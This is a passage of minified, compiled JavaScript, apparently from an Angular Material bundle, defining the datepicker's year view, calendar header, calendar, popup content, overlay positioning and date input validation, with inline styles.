ke;c.iGM(ke=c.CRH())&&($._matCalendarBody=ke.first)}},inputs:{activeDate:"activeDate",selected:"selected",minDate:"minDate",maxDate:"maxDate",dateFilter:"dateFilter",dateClass:"dateClass"},outputs:{selectedChange:"selectedChange",monthSelected:"monthSelected",activeDateChange:"activeDateChange"},exportAs:["matYearView"],decls:5,vars:9,consts:[["role","grid",1,"mat-calendar-table"],["aria-hidden","true",1,"mat-calendar-table-header"],["colspan","4",1,"mat-calendar-table-header-divider"],["mat-calendar-body","",3,"label","rows","todayValue","startValue","endValue","labelMinRequiredCells","numCols","cellAspectRatio","activeCell","selectedValueChange","activeDateChange","keyup","keydown"]],template:function(h,$){1&h&&(c.TgZ(0,"table",0)(1,"thead",1)(2,"tr"),c._UZ(3,"th",2),c.qZA()(),c.TgZ(4,"tbody",3),c.NdJ("selectedValueChange",function(lt){return $._monthSelected(lt)})("activeDateChange",function(lt){return $._updateActiveDate(lt)})("keyup",function(lt){return $._handleCalendarBodyKeyup(lt)})("keydown",function(lt){return $._handleCalendarBodyKeydown(lt)}),c.qZA()()),2&h&&(c.xp6(4),c.Q6J("label",$._yearLabel)("rows",$._months)("todayValue",$._todayMonth)("startValue",$._selectedMonth)("endValue",$._selectedMonth)("labelMinRequiredCells",2)("numCols",4)("cellAspectRatio",4/7)("activeCell",$._dateAdapter.getMonth($.activeDate)))},dependencies:[w],encapsulation:2,changeDetection:0}),O})(),Fe=0,be=(()=>{class O{constructor(h,$,ke,lt,Wt){this._intl=h,this.calendar=$,this._dateAdapter=ke,this._dateFormats=lt,this._buttonDescriptionId="mat-calendar-button-"+Fe++,this.calendar.stateChanges.subscribe(()=>Wt.markForCheck())}get periodButtonText(){if("month"==this.calendar.currentView)return this._dateAdapter.format(this.calendar.activeDate,this._dateFormats.display.monthYearLabel).toLocaleUpperCase();if("year"==this.calendar.currentView)return this._dateAdapter.getYearName(this.calendar.activeDate);const $=this._dateAdapter.getYear(this.calendar.activeDate)-c1(this._dateAdapter,this.calendar.activeDate,this.calendar.minDate,this.calendar.maxDate),ke=$+Vt-1,lt=this._dateAdapter.getYearName(this._dateAdapter.createDate($,0,1)),Wt=this._dateAdapter.getYearName(this._dateAdapter.createDate(ke,0,1));return this._intl.formatYearRange(lt,Wt)}get periodButtonLabel(){return"month"==this.calendar.currentView?this._intl.switchToMultiYearViewLabel:this._intl.switchToMonthViewLabel}get prevButtonLabel(){return{month:this._intl.prevMonthLabel,year:this._intl.prevYearLabel,"multi-year":this._intl.prevMultiYearLabel}[this.calendar.currentView]}get nextButtonLabel(){return{month:this._intl.nextMonthLabel,year:this._intl.nextYearLabel,"multi-year":this._intl.nextMultiYearLabel}[this.calendar.currentView]}currentPeriodClicked(){this.calendar.currentView="month"==this.calendar.currentView?"multi-year":"month"}previousClicked(){this.calendar.activeDate="month"==this.calendar.currentView?this._dateAdapter.addCalendarMonths(this.calendar.activeDate,-1):this._dateAdapter.addCalendarYears(this.calendar.activeDate,"year"==this.calendar.currentView?-1:-Vt)}nextClicked(){this.calendar.activeDate="month"==this.calendar.currentView?this._dateAdapter.addCalendarMonths(this.calendar.activeDate,1):this._dateAdapter.addCalendarYears(this.calendar.activeDate,"year"==this.calendar.currentView?1:Vt)}previousEnabled(){return!this.calendar.minDate||!this.calendar.minDate||!this._isSameView(this.calendar.activeDate,this.calendar.minDate)}nextEnabled(){return!this.calendar.maxDate||!this._isSameView(this.calendar.activeDate,this.calendar.maxDate)}_isSameView(h,$){return"month"==this.calendar.currentView?this._dateAdapter.getYear(h)==this._dateAdapter.getYear($)&&this._dateAdapter.getMonth(h)==this._dateAdapter.getMonth($):"year"==this.calendar.currentView?this._dateAdapter.getYear(h)==this._dateAdapter.getYear($):u1(this._dateAdapter,h,$,this.calendar.minDate,this.calendar.maxDate)}}return O.\\u0275fac=function(h){return new(h||O)(c.Y36(pe),c.Y36((0,c.Gpc)(()=>Pe)),c.Y36(_._A,8),c.Y36(_.sG,8),c.Y36(c.sBO))},O.\\u0275cmp=c.Xpm({type:O,selectors:[["mat-calendar-header"]],exportAs:["matCalendarHeader"],ngContentSelectors:Oe,decls:11,vars:10,consts:[[1,"mat-calendar-header"],[1,"mat-calendar-controls"],["mat-button","","type","button","aria-live","polite",1,"mat-calendar-period-button",3,"click"],["viewBox","0 0 10 5","focusable","false",1,"mat-calendar-arrow"],["points","0,0 5,5 10,0"],[1,"mat-calendar-spacer"],["mat-icon-button","","type","button",1,"mat-calendar-previous-button",3,"disabled","click"],["mat-icon-button","","type","button",1,"mat-calendar-next-button",3,"disabled","click"]],template:function(h,$){1&h&&(c.F$t(),c.TgZ(0,"div",0)(1,"div",1)(2,"button",2),c.NdJ("click",function(){return $.currentPeriodClicked()}),c.TgZ(3,"span"),c._uU(4),c.qZA(),c.O4$(),c.TgZ(5,"svg",3),c._UZ(6,"polygon",4),c.qZA()(),c.kcU(),c._UZ(7,"div",5),c.Hsn(8),c.TgZ(9,"button",6),c.NdJ("click",function(){return $.previousClicked()}),c.qZA(),c.TgZ(10,"button",7),c.NdJ("click",function(){return $.nextClicked()}),c.qZA()()()),2&h&&(c.xp6(2),c.uIk("aria-label",$.periodButtonLabel)("aria-describedby",$._buttonDescriptionId),c.xp6(1),c.uIk("id",$._buttonDescriptionId),c.xp6(1),c.Oqu($.periodButtonText),c.xp6(1),c.ekj("mat-calendar-invert","month"!==$.calendar.currentView),c.xp6(4),c.Q6J("disabled",!$.previousEnabled()),c.uIk("aria-label",$.prevButtonLabel),c.xp6(1),c.Q6J("disabled",!$.nextEnabled()),c.uIk("aria-label",$.nextButtonLabel))},dependencies:[f.lW],encapsulation:2,changeDetection:0}),O})(),Pe=(()=>{class O{constructor(h,$,ke,lt){this._dateAdapter=$,this._dateFormats=ke,this._changeDetectorRef=lt,this._moveFocusOnNextTick=!1,this.startView="month",this.selectedChange=new c.vpe,this.yearSelected=new c.vpe,this.monthSelected=new c.vpe,this.viewChanged=new c.vpe(!0),this._userSelection=new c.vpe,this.stateChanges=new S.xQ,this._intlChanges=h.changes.subscribe(()=>{lt.markForCheck(),this.stateChanges.next()})}get startAt(){return this._startAt}set startAt(h){this._startAt=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))}get selected(){return this._selected}set selected(h){this._selected=h instanceof Je?h:this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))}get minDate(){return this._minDate}set minDate(h){this._minDate=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))}get maxDate(){return this._maxDate}set maxDate(h){this._maxDate=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))}get activeDate(){return this._clampedActiveDate}set activeDate(h){this._clampedActiveDate=this._dateAdapter.clampDate(h,this.minDate,this.maxDate),this.stateChanges.next(),this._changeDetectorRef.markForCheck()}get currentView(){return this._currentView}set currentView(h){const $=this._currentView!==h?h:null;this._currentView=h,this._moveFocusOnNextTick=!0,this._changeDetectorRef.markForCheck(),$&&this.viewChanged.emit($)}ngAfterContentInit(){this._calendarHeaderPortal=new s.C5(this.headerComponent||be),this.activeDate=this.startAt||this._dateAdapter.today(),this._currentView=this.startView}ngAfterViewChecked(){this._moveFocusOnNextTick&&(this._moveFocusOnNextTick=!1,this.focusActiveCell())}ngOnDestroy(){this._intlChanges.unsubscribe(),this.stateChanges.complete()}ngOnChanges(h){const $=h.minDate&&!this._dateAdapter.sameDate(h.minDate.previousValue,h.minDate.currentValue)?h.minDate:void 0,ke=h.maxDate&&!this._dateAdapter.sameDate(h.maxDate.previousValue,h.maxDate.currentValue)?h.maxDate:void 0,lt=$||ke||h.dateFilter;if(lt&&!lt.firstChange){const Wt=this._getCurrentViewComponent();Wt&&(this._changeDetectorRef.detectChanges(),Wt._init())}this.stateChanges.next()}focusActiveCell(){this._getCurrentViewComponent()._focusActiveCell(!1)}updateTodaysDate(){this._getCurrentViewComponent()._init()}_dateSelected(h){const $=h.value;(this.selected instanceof Je||$&&!this._dateAdapter.sameDate($,this.selected))&&this.selectedChange.emit($),this._userSelection.emit(h)}_yearSelectedInMultiYearView(h){this.yearSelected.emit(h)}_monthSelectedInYearView(h){this.monthSelected.emit(h)}_goToDateInView(h,$){this.activeDate=h,this.currentView=$}_getCurrentViewComponent(){return this.monthView||this.yearView||this.multiYearView}}return O.\\u0275fac=function(h){return new(h||O)(c.Y36(pe),c.Y36(_._A,8),c.Y36(_.sG,8),c.Y36(c.sBO))},O.\\u0275cmp=c.Xpm({type:O,selectors:[["mat-calendar"]],viewQuery:function(h,$){if(1&h&&(c.Gf(wt,5),c.Gf(kt,5),c.Gf(qt,5)),2&h){let ke;c.iGM(ke=c.CRH())&&($.monthView=ke.first),c.iGM(ke=c.CRH())&&($.yearView=ke.first),c.iGM(ke=c.CRH())&&($.multiYearView=ke.first)}},hostAttrs:[1,"mat-calendar"],inputs:{headerComponent:"headerComponent",startAt:"startAt",startView:"startView",selected:"selected",minDate:"minDate",maxDate:"maxDate",dateFilter:"dateFilter",dateClass:"dateClass",comparisonStart:"comparisonStart",comparisonEnd:"comparisonEnd"},outputs:{selectedChange:"selectedChange",yearSelected:"yearSelected",monthSelected:"monthSelected",viewChanged:"viewChanged",_userSelection:"_userSelection"},exportAs:["matCalendar"],features:[c._Bn([te]),c.TTD],decls:5,vars:5,consts:[[3,"cdkPortalOutlet"],["cdkMonitorSubtreeFocus","","tabindex","-1",1,"mat-calendar-content",3,"ngSwitch"],[3,"activeDate","selected","dateFilter","maxDate","minDate","dateClass","comparisonStart","comparisonEnd","activeDateChange","_userSelection",4,"ngSwitchCase"],[3,"activeDate","selected","dateFilter","maxDate","minDate","dateClass","activeDateChange","monthSelected","selectedChange",4,"ngSwitchCase"],[3,"activeDate","selected","dateFilter","maxDate","minDate","dateClass","activeDateChange","yearSelected","selectedChange",4,"ngSwitchCase"],[3,"activeDate","selected","dateFilter","maxDate","minDate","dateClass","comparisonStart","comparisonEnd","activeDateChange","_userSelection"],[3,"activeDate","selected","dateFilter","maxDate","minDate","dateClass","activeDateChange","monthSelected","selectedChange"],[3,"activeDate","selected","dateFilter","maxDate","minDate","dateClass","activeDateChange","yearSelected","selectedChange"]],template:function(h,$){1&h&&(c.YNc(0,Qe,0,0,"ng-template",0),c.TgZ(1,"div",1),c.YNc(2,Ye,1,8,"mat-month-view",2),c.YNc(3,qe,1,6,"mat-year-view",3),c.YNc(4,Ke,1,6,"mat-multi-year-view",4),c.qZA()),2&h&&(c.Q6J("cdkPortalOutlet",$._calendarHeaderPortal),c.xp6(1),c.Q6J("ngSwitch",$.currentView),c.xp6(1),c.Q6J("ngSwitchCase","month"),c.xp6(1),c.Q6J("ngSwitchCase","year"),c.xp6(1),c.Q6J("ngSwitchCase","multi-year"))},dependencies:[u.RF,u.n9,n.kH,s.Pl,wt,kt,qt],styles:[\'.mat-calendar{display:block}.mat-calendar-header{padding:8px 8px 0 8px}.mat-calendar-content{padding:0 8px 8px 8px;outline:none}.mat-calendar-controls{display:flex;margin:5% calc(4.7142857143% - 16px)}.mat-calendar-controls .mat-icon-button:hover .mat-button-focus-overlay{opacity:.04}.mat-calendar-spacer{flex:1 1 auto}.mat-calendar-period-button{min-width:0}.mat-calendar-arrow{display:inline-block;width:10px;height:5px;margin:0 0 0 5px;vertical-align:middle}.mat-calendar-arrow.mat-calendar-invert{transform:rotate(180deg)}[dir=rtl] .mat-calendar-arrow{margin:0 5px 0 0}.cdk-high-contrast-active .mat-calendar-arrow{fill:CanvasText}.mat-calendar-previous-button,.mat-calendar-next-button{position:relative}.mat-calendar-previous-button::after,.mat-calendar-next-button::after{top:0;left:0;right:0;bottom:0;position:absolute;content:"";margin:15.5px;border:0 solid currentColor;border-top-width:2px}[dir=rtl] .mat-calendar-previous-button,[dir=rtl] .mat-calendar-next-button{transform:rotate(180deg)}.mat-calendar-previous-button::after{border-left-width:2px;transform:translateX(2px) rotate(-45deg)}.mat-calendar-next-button::after{border-right-width:2px;transform:translateX(-2px) rotate(45deg)}.mat-calendar-table{border-spacing:0;border-collapse:collapse;width:100%}.mat-calendar-table-header th{text-align:center;padding:0 0 8px 0}.mat-calendar-table-header-divider{position:relative;height:1px}.mat-calendar-table-header-divider::after{content:"";position:absolute;top:0;left:-8px;right:-8px;height:1px}.mat-calendar-body-cell-content::before{margin:calc(calc(var(--mat-focus-indicator-border-width, 3px) + 3px) * -1)}.mat-calendar-body-cell:focus .mat-focus-indicator::before{content:""}\'],encapsulation:2,changeDetection:0}),O})();const Re={transformPanel:(0,k.X$)("transformPanel",[(0,k.eR)("void => enter-dropdown",(0,k.jt)("120ms cubic-bezier(0, 0, 0.2, 1)",(0,k.F4)([(0,k.oB)({opacity:0,transform:"scale(1, 0.8)"}),(0,k.oB)({opacity:1,transform:"scale(1, 1)"})]))),(0,k.eR)("void => enter-dialog",(0,k.jt)("150ms cubic-bezier(0, 0, 0.2, 1)",(0,k.F4)([(0,k.oB)({opacity:0,transform:"scale(0.7)"}),(0,k.oB)({transform:"none",opacity:1})]))),(0,k.eR)("* => void",(0,k.jt)("100ms linear",(0,k.oB)({opacity:0})))]),fadeInCalendar:(0,k.X$)("fadeInCalendar",[(0,k.SB)("void",(0,k.oB)({opacity:0})),(0,k.SB)("enter",(0,k.oB)({opacity:1})),(0,k.eR)("void => *",(0,k.jt)("120ms 100ms cubic-bezier(0.55, 0, 0.55, 0.2)"))])};let Ue=0;const xe=new c.OlP("mat-datepicker-scroll-strategy"),Ae={provide:xe,deps:[a.aV],useFactory:function J(O){return()=>O.scrollStrategies.reposition()}},mt=(0,_.pj)(class{constructor(O){this._elementRef=O}});let Ct=(()=>{class O extends mt{constructor(h,$,ke,lt,Wt,p1){super(h),this._changeDetectorRef=$,this._globalModel=ke,this._dateAdapter=lt,this._rangeSelectionStrategy=Wt,this._subscriptions=new g.w,this._animationDone=new S.xQ,this._actionsPortal=null,this._closeButtonText=p1.closeCalendarLabel}ngOnInit(){this._animationState=this.datepicker.touchUi?"enter-dialog":"enter-dropdown"}ngAfterViewInit(){this._subscriptions.add(this.datepicker.stateChanges.subscribe(()=>{this._changeDetectorRef.markForCheck()})),this._calendar.focusActiveCell()}ngOnDestroy(){this._subscriptions.unsubscribe(),this._animationDone.complete()}_handleUserSelection(h){const $=this._model.selection,ke=h.value,lt=$ instanceof Je;if(lt&&this._rangeSelectionStrategy){const Wt=this._rangeSelectionStrategy.selectionFinished(ke,$,h.event);this._model.updateSelection(Wt,this)}else ke&&(lt||!this._dateAdapter.sameDate(ke,$))&&this._model.add(ke);(!this._model||this._model.isComplete())&&!this._actionsPortal&&this.datepicker.close()}_startExitAnimation(){this._animationState="void",this._changeDetectorRef.markForCheck()}_getSelected(){return this._model.selection}_applyPendingSelection(){this._model!==this._globalModel&&this._globalModel.updateSelection(this._model.selection,this)}_assignActions(h,$){this._model=h?this._globalModel.clone():this._globalModel,this._actionsPortal=h,$&&this._changeDetectorRef.detectChanges()}}return O.\\u0275fac=function(h){return new(h||O)(c.Y36(c.SBq),c.Y36(c.sBO),c.Y36(Et),c.Y36(_._A),c.Y36(b,8),c.Y36(pe))},O.\\u0275cmp=c.Xpm({type:O,selectors:[["mat-datepicker-content"]],viewQuery:function(h,$){if(1&h&&c.Gf(Pe,5),2&h){let ke;c.iGM(ke=c.CRH())&&($._calendar=ke.first)}},hostAttrs:[1,"mat-datepicker-content"],hostVars:3,hostBindings:function(h,$){1&h&&c.WFA("@transformPanel.done",function(){return $._animationDone.next()}),2&h&&(c.d8E("@transformPanel",$._animationState),c.ekj("mat-datepicker-content-touch",$.datepicker.touchUi))},inputs:{color:"color"},exportAs:["matDatepickerContent"],features:[c.qOj],decls:5,vars:24,consts:[["cdkTrapFocus","","role","dialog",1,"mat-datepicker-content-container"],[3,"id","ngClass","startAt","startView","minDate","maxDate","dateFilter","headerComponent","selected","dateClass","comparisonStart","comparisonEnd","yearSelected","monthSelected","viewChanged","_userSelection"],[3,"cdkPortalOutlet"],["type","button","mat-raised-button","",1,"mat-datepicker-close-button",3,"color","focus","blur","click"]],template:function(h,$){if(1&h&&(c.TgZ(0,"div",0)(1,"mat-calendar",1),c.NdJ("yearSelected",function(lt){return $.datepicker._selectYear(lt)})("monthSelected",function(lt){return $.datepicker._selectMonth(lt)})("viewChanged",function(lt){return $.datepicker._viewChanged(lt)})("_userSelection",function(lt){return $._handleUserSelection(lt)}),c.qZA(),c.YNc(2,dt,0,0,"ng-template",2),c.TgZ(3,"button",3),c.NdJ("focus",function(){return $._closeButtonFocused=!0})("blur",function(){return $._closeButtonFocused=!1})("click",function(){return $.datepicker.close()}),c._uU(4),c.qZA()()),2&h){let ke;c.ekj("mat-datepicker-content-container-with-custom-header",$.datepicker.calendarHeaderComponent)("mat-datepicker-content-container-with-actions",$._actionsPortal),c.uIk("aria-modal",!0)("aria-labelledby",null!==(ke=$._dialogLabelId)&&void 0!==ke?ke:void 0),c.xp6(1),c.Q6J("id",$.datepicker.id)("ngClass",$.datepicker.panelClass)("startAt",$.datepicker.startAt)("startView",$.datepicker.startView)("minDate",$.datepicker._getMinDate())("maxDate",$.datepicker._getMaxDate())("dateFilter",$.datepicker._getDateFilter())("headerComponent",$.datepicker.calendarHeaderComponent)("selected",$._getSelected())("dateClass",$.datepicker.dateClass)("comparisonStart",$.comparisonStart)("comparisonEnd",$.comparisonEnd)("@fadeInCalendar","enter"),c.xp6(1),c.Q6J("cdkPortalOutlet",$._actionsPortal),c.xp6(1),c.ekj("cdk-visually-hidden",!$._closeButtonFocused),c.Q6J("color",$.color||"primary"),c.xp6(1),c.Oqu($._closeButtonText)}},dependencies:[u.mk,f.lW,n.mK,s.Pl,Pe],styles:[".mat-datepicker-content{display:block;border-radius:4px}.mat-datepicker-content .mat-calendar{width:296px;height:354px}.mat-datepicker-content .mat-datepicker-content-container-with-custom-header .mat-calendar{height:auto}.mat-datepicker-content .mat-datepicker-close-button{position:absolute;top:100%;left:0;margin-top:8px}.ng-animating .mat-datepicker-content .mat-datepicker-close-button{display:none}.mat-datepicker-content-container{display:flex;flex-direction:column;justify-content:space-between}.mat-datepicker-content-touch{display:block;max-height:80vh;position:relative;overflow:visible}.mat-datepicker-content-touch .mat-datepicker-content-container{min-height:312px;max-height:788px;min-width:250px;max-width:750px}.mat-datepicker-content-touch .mat-calendar{width:100%;height:auto}@media all and (orientation: landscape){.mat-datepicker-content-touch .mat-datepicker-content-container{width:64vh;height:80vh}}@media all and (orientation: portrait){.mat-datepicker-content-touch .mat-datepicker-content-container{width:80vw;height:100vw}.mat-datepicker-content-touch .mat-datepicker-content-container-with-actions{height:115vw}}"],encapsulation:2,data:{animation:[Re.transformPanel,Re.fadeInCalendar]},changeDetection:0}),O})(),jt=(()=>{class O{constructor(h,$,ke,lt,Wt,p1,w1){this._overlay=h,this._ngZone=$,this._viewContainerRef=ke,this._dateAdapter=Wt,this._dir=p1,this._model=w1,this._inputStateChanges=g.w.EMPTY,this._document=(0,c.f3M)(u.K0),this.startView="month",this._touchUi=!1,this.xPosition="start",this.yPosition="below",this._restoreFocus=!0,this.yearSelected=new c.vpe,this.monthSelected=new c.vpe,this.viewChanged=new c.vpe(!0),this.openedStream=new c.vpe,this.closedStream=new c.vpe,this._opened=!1,this.id="mat-datepicker-"+Ue++,this._focusedElementBeforeOpen=null,this._backdropHarnessClass=`${this.id}-backdrop`,this.stateChanges=new S.xQ,this._scrollStrategy=lt}get startAt(){return this._startAt||(this.datepickerInput?this.datepickerInput.getStartValue():null)}set startAt(h){this._startAt=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(h))}get color(){return this._color||(this.datepickerInput?this.datepickerInput.getThemePalette():void 0)}set color(h){this._color=h}get touchUi(){return this._touchUi}set touchUi(h){this._touchUi=(0,oe.Ig)(h)}get disabled(){return void 0===this._disabled&&this.datepickerInput?this.datepickerInput.disabled:!!this._disabled}set disabled(h){const $=(0,oe.Ig)(h);$!==this._disabled&&(this._disabled=$,this.stateChanges.next(void 0))}get restoreFocus(){return this._restoreFocus}set restoreFocus(h){this._restoreFocus=(0,oe.Ig)(h)}get panelClass(){return this._panelClass}set panelClass(h){this._panelClass=(0,oe.du)(h)}get opened(){return this._opened}set opened(h){(0,oe.Ig)(h)?this.open():this.close()}_getMinDate(){return this.datepickerInput&&this.datepickerInput.min}_getMaxDate(){return this.datepickerInput&&this.datepickerInput.max}_getDateFilter(){return this.datepickerInput&&this.datepickerInput.dateFilter}ngOnChanges(h){const $=h.xPosition||h.yPosition;if($&&!$.firstChange&&this._overlayRef){const ke=this._overlayRef.getConfig().positionStrategy;ke instanceof a._G&&(this._setConnectedPositions(ke),this.opened&&this._overlayRef.updatePosition())}this.stateChanges.next(void 0)}ngOnDestroy(){this._destroyOverlay(),this.close(),this._inputStateChanges.unsubscribe(),this.stateChanges.complete()}select(h){this._model.add(h)}_selectYear(h){this.yearSelected.emit(h)}_selectMonth(h){this.monthSelected.emit(h)}_viewChanged(h){this.viewChanged.emit(h)}registerInput(h){return this._inputStateChanges.unsubscribe(),this.datepickerInput=h,this._inputStateChanges=h.stateChanges.subscribe(()=>this.stateChanges.next(void 0)),this._model}registerActions(h){this._actionsPortal=h,this._componentRef?.instance._assignActions(h,!0)}removeActions(h){h===this._actionsPortal&&(this._actionsPortal=null,this._componentRef?.instance._assignActions(null,!0))}open(){this._opened||this.disabled||(this._focusedElementBeforeOpen=(0,Ce.ht)(),this._openOverlay(),this._opened=!0,this.openedStream.emit())}close(){if(!this._opened)return;const h=this._restoreFocus&&this._focusedElementBeforeOpen&&"function"==typeof this._focusedElementBeforeOpen.focus,$=()=>{this._opened&&(this._opened=!1,this.closedStream.emit())};if(this._componentRef){const{instance:ke,location:lt}=this._componentRef;ke._startExitAnimation(),ke._animationDone.pipe((0,U.q)(1)).subscribe(()=>{const Wt=this._document.activeElement;h&&(!Wt||Wt===this._document.activeElement||lt.nativeElement.contains(Wt))&&this._focusedElementBeforeOpen.focus(),this._focusedElementBeforeOpen=null,this._destroyOverlay()})}h?setTimeout($):$()}_applyPendingSelection(){this._componentRef?.instance?._applyPendingSelection()}_forwardContentValues(h){h.datepicker=this,h.color=this.color,h._dialogLabelId=this.datepickerInput.getOverlayLabelId(),h._assignActions(this._actionsPortal,!1)}_openOverlay(){this._destroyOverlay();const h=this.touchUi,$=new s.C5(Ct,this._viewContainerRef),ke=this._overlayRef=this._overlay.create(new a.X_({positionStrategy:h?this._getDialogStrategy():this._getDropdownStrategy(),hasBackdrop:!0,backdropClass:[h?"cdk-overlay-dark-backdrop":"mat-overlay-transparent-backdrop",this._backdropHarnessClass],direction:this._dir,scrollStrategy:h?this._overlay.scrollStrategies.block():this._scrollStrategy(),panelClass:"mat-datepicker-"+(h?"dialog":"popup")}));this._getCloseStream(ke).subscribe(lt=>{lt&<.preventDefault(),this.close()}),ke.keydownEvents().subscribe(lt=>{const Wt=lt.keyCode;(Wt===H.LH||Wt===H.JH||Wt===H.oh||Wt===H.SV||Wt===H.Ku||Wt===H.VM)&<.preventDefault()}),this._componentRef=ke.attach($),this._forwardContentValues(this._componentRef.instance),h||this._ngZone.onStable.pipe((0,U.q)(1)).subscribe(()=>ke.updatePosition())}_destroyOverlay(){this._overlayRef&&(this._overlayRef.dispose(),this._overlayRef=this._componentRef=null)}_getDialogStrategy(){return this._overlay.position().global().centerHorizontally().centerVertically()}_getDropdownStrategy(){const h=this._overlay.position().flexibleConnectedTo(this.datepickerInput.getConnectedOverlayOrigin()).withTransformOriginOn(".mat-datepicker-content").withFlexibleDimensions(!1).withViewportMargin(8).withLockedPosition();return this._setConnectedPositions(h)}_setConnectedPositions(h){const $="end"===this.xPosition?"end":"start",ke="start"===$?"end":"start",lt="above"===this.yPosition?"bottom":"top",Wt="top"===lt?"bottom":"top";return h.withPositions([{originX:$,originY:Wt,overlayX:$,overlayY:lt},{originX:$,originY:lt,overlayX:$,overlayY:Wt},{originX:ke,originY:Wt,overlayX:ke,overlayY:lt},{originX:ke,originY:lt,overlayX:ke,overlayY:Wt}])}_getCloseStream(h){return(0,C.T)(h.backdropClick(),h.detachments(),h.keydownEvents().pipe((0,Q.h)($=>$.keyCode===H.hY&&!(0,H.Vb)($)||this.datepickerInput&&(0,H.Vb)($,"altKey")&&$.keyCode===H.LH)))}}return O.\\u0275fac=function(h){return new(h||O)(c.Y36(a.aV),c.Y36(c.R0b),c.Y36(c.s_b),c.Y36(xe),c.Y36(_._A,8),c.Y36(j.Is,8),c.Y36(Et))},O.\\u0275dir=c.lG2({type:O,inputs:{calendarHeaderComponent:"calendarHeaderComponent",startAt:"startAt",startView:"startView",color:"color",touchUi:"touchUi",disabled:"disabled",xPosition:"xPosition",yPosition:"yPosition",restoreFocus:"restoreFocus",dateClass:"dateClass",panelClass:"panelClass",opened:"opened"},outputs:{yearSelected:"yearSelected",monthSelected:"monthSelected",viewChanged:"viewChanged",openedStream:"opened",closedStream:"closed"},features:[c.TTD]}),O})(),pt=(()=>{class O extends jt{}return O.\\u0275fac=function(){let de;return function($){return(de||(de=c.n5z(O)))($||O)}}(),O.\\u0275cmp=c.Xpm({type:O,selectors:[["mat-datepicker"]],exportAs:["matDatepicker"],features:[c._Bn([te,{provide:jt,useExisting:O}]),c.qOj],decls:0,vars:0,template:function(h,$){},encapsulation:2,changeDetection:0}),O})();class nt{constructor(de,h){this.target=de,this.targetElement=h,this.value=this.target.value}}let fe=(()=>{class O{constructor(h,$,ke){this._elementRef=h,this._dateAdapter=$,this._dateFormats=ke,this.dateChange=new c.vpe,this.dateInput=new c.vpe,this.stateChanges=new S.xQ,this._onTouched=()=>{},this._validatorOnChange=()=>{},this._cvaOnChange=()=>{},this._valueChangesSubscription=g.w.EMPTY,this._localeSubscription=g.w.EMPTY,this._parseValidator=()=>this._lastValueValid?null:{matDatepickerParse:{text:this._elementRef.nativeElement.value}},this._filterValidator=lt=>{const Wt=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(lt.value));return!Wt||this._matchesFilter(Wt)?null:{matDatepickerFilter:!0}},this._minValidator=lt=>{const Wt=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(lt.value)),p1=this._getMinDate();return!p1||!Wt||this._dateAdapter.compareDate(p1,Wt)<=0?null:{matDatepickerMin:{min:p1,actual:Wt}}},this._maxValidator=lt=>{const Wt=this._dateAdapter.getValidDateOrNull(this._dateAdapter.deserialize(lt.value)),p1=this._getMaxDate();return!p1||!Wt||this._dateAdapter.compareDate(p1,Wt)>=0?null:{matDatepickerMax:{max:p1,actual:Wt}}},this._lastValueValid=!1,this._localeSubscription=$.localeChanges.subscribe(()=>{this._assignValueProgrammatically(this.value)})}get value(){return this._model?this._getValueFromModel(this._model.selection):this._pendingValue}set value(h){this._assignValueProgrammatically(h)}get disabled(){return!!this._disabled||this._parentDisabled()}set disabled(h){const $=(0,oe.Ig)(h),ke=this._elementRef.nativeElement;this._disabled!==$&&(this._disabled=$,this.stateChanges.next(void 0)),$&&this._isInitialized&&ke.blur&&ke.blur()}_getValidators(){return[this._parseValidator,this._minValidator,this._maxValidator,this._filterValidator]}_registerModel(h){this._model=h,this._valueChangesSubscription.unsubscribe(),this._pendingValue&&this._assignValue(this._pendingValue),this._valueChangesSubscription=this._model.selectionChanged.subscribe($=>{if(this._shouldHandleChangeEvent($)){const ke=this._getValueFromModel($.selection);this._lastValueValid=this._isValidValue(ke),this._cvaOnChange(ke),this._onTouched(),this._formatValue(ke),this.dateInput.emit(new nt(this,this._elementRef.nativeElement)),this.dateChange.emit(new nt(this,this._elementRef.nativeElement))}})}ngAfterViewInit(){this._isInitialized=!0}ngOnChanges(h){(function Ee(O,de){const h=Object.keys(O);for(let $ of h){const{previousValue:ke,currentValue:lt}=O[$];if(!de.isDateInstance(ke)||!de.isDateInstance(lt))return!0;if(!de.sameDate(ke,lt))return!0}return!1})(h,this._dateAdapter)&&this.stateChanges.next(void 0)}ngOnDestroy(){this._valueChangesSubscription.unsubscribe(),this._localeSubscription.unsubscribe(),this.stateChanges.complete()}registerOnValidatorChange(h){this._validatorOnChange=h}validate(h){return this._validator?this._validator(h):null}writeValue(h){this._assignValueProgrammatically(h)}registerOnChange(h){this._cvaOnChange=h}registerOnTouched(h){this._onTouched=h}setDisabledState(h){this.disabled=h}_onKeydown(h){h.altKey&&h.keyCode===H.JH&&!this._elementRef.nativeElement.readOnly&&(this._openPopup(),h.preventDefault())}_onInput(h){const $=this._lastValueValid;let ke=this._dateAdapter.parse(h,this._dateFormats.parse.dateInput);this._lastValueValid=this._isValidValue(ke),ke=this._dateAdapter.getValidDateOrNull(ke);const lt=!this._dateAdapter.sameDate(ke,this.value);!ke||lt?this._cvaOnChange(ke):(h&&!this.value&&this._cvaOnChange(ke),$!==this._lastValueValid&&this._validatorOnChange()),lt&&(this._assignValue(ke),this.dateInput.emit(new nt(this,this._elementRef.nativeElement)))}_onChange(){this.dateChange.emit(new nt(this,this._elementRef.nativeElement))}_onBlur(){this.value&&this._formatValue(this.value),this._onTouched()}_formatValue(h){this._elementRef.nativeElement.value=null!=h?this._dateAdapter.format(h,this._dateFormats.display.dateInput):""}_assignValue(h){this._model?(this._assignValueToModel(h),this._pendingValue=null):this._pendingValue=h}_isValidValue(h){return!h||this._dateAdapter.isValid(h)}_parentDisabled(){return!1}_assignValueProgrammatically(h){h=this._dateAdapter.deserialize(h),this._lastValueValid=this._isValidValue(h),h=this._dateAdapter.getValidDateOrNull(h),this._assignValue(h),this._formatValue(h)}_matchesFilter(h){const $=this._getDateFilter();return!$||$(h)}}return O.\\u0275fac=function(h){return 